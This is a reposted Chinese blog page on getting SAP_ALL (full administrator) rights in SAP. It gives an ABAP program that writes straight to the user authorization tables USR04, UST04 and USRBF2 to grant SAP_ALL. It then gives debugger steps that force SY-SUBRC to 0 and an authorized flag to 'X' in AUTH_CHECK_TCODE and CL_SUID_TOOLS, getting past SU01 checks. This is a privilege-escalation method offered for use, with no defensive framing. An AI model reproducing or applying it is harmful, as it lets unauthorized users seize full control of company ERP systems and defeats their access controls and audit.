zoukankan      html  css  js  c++  java
  • 如何获取SAP_ALL权限 的代码(还没测试转自SAP翔子)

    TABLES : usr01.
    DATA: l_usr04  LIKE usr04,
    l_ust04  LIKE ust04,
    l_profs  LIKE usr04-profs,
    l_usrbf2 LIKE usrbf2 OCCURS 0 WITH HEADER LINE,
    l_userid LIKE usr01-bname.
    SELECT-OPTIONS: p_user FOR usr01-bname .
    START-OF-SELECTION.
    SELECT SINGLE * INTO l_usr04 FROM usr04 WHERE bname IN p_user.
    MOVE 'C SAP_ALL' TO l_profs .
    l_usr04-nrpro = '14'.
    l_usr04-profs = l_profs.
    UPDATE usr04 FROM l_usr04 .
    l_userid = l_usr04-bname.
    SELECT SINGLE * INTO l_ust04 FROM ust04 WHERE bname IN p_user.
    l_ust04-profile = 'SAP_ALL'.
    UPDATE ust04 FROM l_ust04 .
    SELECT * FROM usrbf2 INTO TABLE l_usrbf2 WHERE bname = 'SAP*' .
    LOOP AT l_usrbf2.
     l_usrbf2-bname = l_userid.
     MODIFY l_usrbf2 INDEX sy-tabix TRANSPORTING bname.
    ENDLOOP.
    INSERT usrbf2 FROM TABLE l_usrbf2 ACCEPTING DUPLICATE KEYS.

    目的:SU01在用户参数文件加上SAP_ALL,实现可以取得 ALL权限。
    前提:账号要有Debug改值的权限

    运行SU01报错,没有SU01权限

    • Step1.运行SU01 看到报错:消息号 S#077

    (如果这里不报错,请直接看Step3)

    根据技术信息可以找到他报错的位置

    FUNCTION        / AUTH_CHECK_TCODE

     

    • Step2. 再次运行SU01

    进入刚设置的断点,将SY-SUBRC的值改为0,F8运行

    就可以进入SU01界面

    • Step3. 填上自己账号,并点击编辑

    But 再次报错

     

     

    • Step4. SE38进入程序:CL_SUID_TOOLS=================CM00B,

    在这句设置断点

     if sy-subrc eq 0. "Auth check in cache.

          if ls_cache_auth_node-authorized ne 'X'.

            es_msg = ls_cache_auth_node-msg.

          endif.

          return.

     endif.

     

    • Step5. 运行SU01 进入断点:

    CL_SUID_TOOLS================= / CL_SUID_TOOLS================= / 47

    METHOD          / AUTH_CHECK_SINGLE (CL_SUID_TOOLS)

    将1 sy-subrc 不是0时改成0 
    2 ls_cache_auth_node-authorized 改成'X'

    注意:这里要改多次值,标注程序很多个权限对象,如果改值不充分,可能会出现报错

    如:

    这时候是编辑不了角色或者参数文件的。

    • Step6. 改完变量,进入SU01编辑界面,在参数文件里加上SAP_ALL ,并保存
      注意过程中如果进断点,也是要改值的,同上
      将1 sy-subrc 不是0时改成0 
         2 ls_cache_auth_node-authorized 改成'X'

     

    • Step7. 再测试一下SU01

    1 可以直接进入编辑
    2 参数文件里有SAP_ALL

    获取ALL权限成功


     

    单击赋能

    最简便的方式,开发个程序,一键单击搞定,

  • 相关阅读:
    JS新API标准 地理定位(navigator.geolocation
    微信公众号菜单
    js选择权
    mui 弹框
    又拍云
    弹框
    sublime插件
    将Apache的.htaccess转换到nginx中
    php 图片上传类
    C# 使用Com组件正确的释放方法
  • 原文地址:https://www.cnblogs.com/BruceKing/p/12132205.html
Copyright © 2011-2022 走看看